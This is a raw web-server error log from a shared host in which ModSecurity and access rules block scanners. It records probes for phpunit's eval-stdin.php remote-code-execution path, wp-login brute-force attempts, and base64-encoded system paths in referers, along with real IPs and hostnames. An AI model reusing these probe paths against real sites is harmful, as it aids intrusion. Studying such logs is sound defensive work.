"/opt/mod_security/hg_rules.conf"] [line "1552"] [id "900424"] [msg "Transparent Bot Detection for Contact Forms"] [hostname "www.torquayfans.com"] [uri "/memberlist.php"] [unique_id "ai30CrV-dFiaX9AtWiQUWwABcmM"], referer: https://www.torquayfans.com [Sat Jun 13 18:21:30.685392 2026] [access_compat:error] [pid 646876:tid 646992] [remote 57.141.14.67:32915] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:30.685848 2026] [access_compat:error] [pid 646876:tid 646992] [remote 57.141.14.67:32915] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:31.020329 2026] [access_compat:error] [pid 648189:tid 648254] [remote 57.141.14.28:27826] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:31.020801 2026] [access_compat:error] [pid 648189:tid 648254] [remote 57.141.14.28:27826] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:31.039565 2026] [access_compat:error] [pid 646876:tid 646950] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQxL3N1YnN5c3RlbS9pbnB1dDIvZXZlbnQyL2RldmljZQ== [Sat Jun 13 18:21:31.040031 2026] [access_compat:error] [pid 646876:tid 646950] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQxL3N1YnN5c3RlbS9pbnB1dDIvZXZlbnQyL2RldmljZQ== [Sat Jun 13 18:21:31.256067 2026] [access_compat:error] [pid 715691:tid 715819] [remote 57.141.14.83:58884] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:31.256397 2026] [access_compat:error] [pid 715691:tid 715819] [remote 57.141.14.83:58884] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:31.417978 2026] [access_compat:error] [pid 715691:tid 715824] [remote 57.141.14.19:60178] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:31.418256 2026] [access_compat:error] [pid 715691:tid 715824] [remote 57.141.14.19:60178] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:31.521462 2026] [security2:error] [pid 646876:tid 646906] [remote 17.241.227.195:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 195.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30C9yTkdrNlD40tSHHWAAAbhs"] [Sat Jun 13 18:21:31.570836 2026] [access_compat:error] [pid 646876:tid 646901] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vbW91c2UxL3Bvd2Vy [Sat Jun 13 18:21:31.571278 2026] [access_compat:error] [pid 646876:tid 646901] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vbW91c2UxL3Bvd2Vy [Sat Jun 13 18:21:31.615487 2026] [lsapi:warn] [pid 715691:tid 715929] [client 179.49.123.183:36198] [host kshar.net] Backend log: PHP Warning: Use of undefined constant user_level - assumed 'user_level' (this will throw an Error in a future version of PHP) in /home2/yourkat1/public_html/kshar/wp-content/plugins/ultimate-google-analytics/ultimate_ga.php on line 524\n [Sat Jun 13 18:21:31.676344 2026] [security2:error] [pid 715691:tid 715826] [remote 77.237.247.134:42764] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 134.247.237.77.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "camera-roll.com"] [uri "/wp-login.php"] [unique_id "ai30C7V-dFiaX9AtWiQUdAABSHM"] [Sat Jun 13 18:21:32.049306 2026] [security2:error] [pid 648189:tid 648224] [remote 17.22.245.174:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 174.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30DFWSojQL4F7upKCNEgAAxwQ"] [Sat Jun 13 18:21:32.069281 2026] [access_compat:error] [pid 646876:tid 646973] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9kZXZpY2UvbW91c2UwL2RldmljZS9kZXZpY2UvaW5wdXQvaW5wdXQ1L2RldmljZQ== [Sat Jun 13 18:21:32.069556 2026] [access_compat:error] [pid 646876:tid 646973] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9kZXZpY2UvbW91c2UwL2RldmljZS9kZXZpY2UvaW5wdXQvaW5wdXQ1L2RldmljZQ== [Sat Jun 13 18:21:32.167415 2026] [access_compat:error] [pid 648189:tid 648237] [remote 57.141.14.77:55315] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:32.167706 2026] [access_compat:error] [pid 648189:tid 648237] [remote 57.141.14.77:55315] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:32.171203 2026] [security2:error] [pid 715691:tid 715902] [client 185.177.72.9:46596] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "ai30DLV-dFiaX9AtWiQUeQAAAUc"] [Sat Jun 13 18:21:32.362321 2026] [access_compat:error] [pid 715691:tid 715833] [remote 57.141.14.82:23230] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:32.362593 2026] [access_compat:error] [pid 715691:tid 715833] [remote 57.141.14.82:23230] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:32.403880 2026] [security2:error] [pid 646876:tid 646895] [remote 17.241.227.153:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 153.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30DNyTkdrNlD40tSHHcAAAFhA"] [Sat Jun 13 18:21:32.449160 2026] [security2:error] [pid 715691:tid 715886] [client 185.177.72.9:46602] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/vendor/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "ai30DLV-dFiaX9AtWiQUfgAAATc"] [Sat Jun 13 18:21:32.464874 2026] [access_compat:error] [pid 715691:tid 715834] [remote 57.141.14.26:32940] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:32.465158 2026] [access_compat:error] [pid 715691:tid 715834] [remote 57.141.14.26:32940] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:32.516986 2026] [security2:error] [pid 715691:tid 715836] [remote 17.246.23.29:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 29.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30DLV-dFiaX9AtWiQUgQABRH0"] [Sat Jun 13 18:21:32.622377 2026] [access_compat:error] [pid 646876:tid 646977] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0MS9kZXZpY2Uvc3Vic3lzdGVtL2RldmljZXMvZGV2aWNlOjMz [Sat Jun 13 18:21:32.622778 2026] [access_compat:error] [pid 646876:tid 646977] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0MS9kZXZpY2Uvc3Vic3lzdGVtL2RldmljZXMvZGV2aWNlOjMz [Sat Jun 13 18:21:32.728029 2026] [security2:error] [pid 715691:tid 715918] [client 185.177.72.9:46608] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "ai30DLV-dFiaX9AtWiQUgwAAAVc"] [Sat Jun 13 18:21:32.833958 2026] [access_compat:error] [pid 715691:tid 715838] [remote 57.141.14.92:64446] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:32.834257 2026] [access_compat:error] [pid 715691:tid 715838] [remote 57.141.14.92:64446] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:33.001745 2026] [security2:error] [pid 648189:tid 648424] [client 185.177.72.9:46618] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "ai30DVWSojQL4F7upKCNIQAAAMs"] [Sat Jun 13 18:21:33.159847 2026] [access_compat:error] [pid 646876:tid 646984] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQxL2V2ZW50MS9kZXZpY2UvZXZlbnQxL3Bvd2Vy [Sat Jun 13 18:21:33.160182 2026] [access_compat:error] [pid 646876:tid 646984] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQxL2V2ZW50MS9kZXZpY2UvZXZlbnQxL3Bvd2Vy [Sat Jun 13 18:21:33.180109 2026] [proxy_http:error] [pid 715691:tid 715713] (70008)Partial results are valid but processing is incomplete: [remote 173.252.70.23:60702] AH01110: error reading response [Sat Jun 13 18:21:33.187032 2026] [security2:error] [pid 715691:tid 715714] [remote 17.241.75.30:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 30.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30DbV-dFiaX9AtWiQUiQABZwQ"] [Sat Jun 13 18:21:33.273061 2026] [security2:error] [pid 648189:tid 648372] [client 185.177.72.9:46626] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "ai30DVWSojQL4F7upKCNJQAAAJg"] [Sat Jun 13 18:21:33.534292 2026] [security2:error] [pid 646876:tid 647027] [client 185.177.72.9:33914] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "ai30DdyTkdrNlD40tSHHhgAAABM"] [Sat Jun 13 18:21:33.572933 2026] [security2:error] [pid 715691:tid 715711] [remote 17.22.253.180:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 180.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30DbV-dFiaX9AtWiQUjAABcwE"] [Sat Jun 13 18:21:33.589035 2026] [proxy_http:error] [pid 715691:tid 715719] (70008)Partial results are valid but processing is incomplete: [remote 57.141.14.22:30224] AH01110: error reading response [Sat Jun 13 18:21:33.641657 2026] [access_compat:error] [pid 648189:tid 648304] [remote 57.141.14.17:61574] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:33.641932 2026] [access_compat:error] [pid 648189:tid 648304] [remote 57.141.14.17:61574] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:33.661997 2026] [access_compat:error] [pid 646876:tid 646924] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9kZXZpY2UvaW5wdXQvaW5wdXQ1L2V2ZW50My9kZXZpY2UvZGV2aWNl [Sat Jun 13 18:21:33.662264 2026] [access_compat:error] [pid 646876:tid 646924] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9kZXZpY2UvaW5wdXQvaW5wdXQ1L2V2ZW50My9kZXZpY2UvZGV2aWNl [Sat Jun 13 18:21:33.797262 2026] [access_compat:error] [pid 715691:tid 715723] [remote 57.141.14.60:43498] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:33.797556 2026] [access_compat:error] [pid 715691:tid 715723] [remote 57.141.14.60:43498] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:34.056124 2026] [access_compat:error] [pid 715691:tid 715727] [remote 57.141.14.53:51482] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:34.056395 2026] [access_compat:error] [pid 715691:tid 715727] [remote 57.141.14.53:51482] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:34.137229 2026] [security2:error] [pid 715691:tid 715728] [remote 17.241.75.40:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 40.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30DrV-dFiaX9AtWiQUmQABEhI"] [Sat Jun 13 18:21:34.192117 2026] [access_compat:error] [pid 715691:tid 715729] [remote 57.141.14.40:25562] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:21:34.192467 2026] [access_compat:error] [pid 715691:tid 715729] [remote 57.141.14.40:25562] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:21:34.215095 2026] [access_compat:error] [pid 646876:tid 646900] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2V2ZW50Mi9kZXZpY2Uvc3Vic3lzdGVtL21vdXNlMi9wb3dlcg== [Sat Jun 13 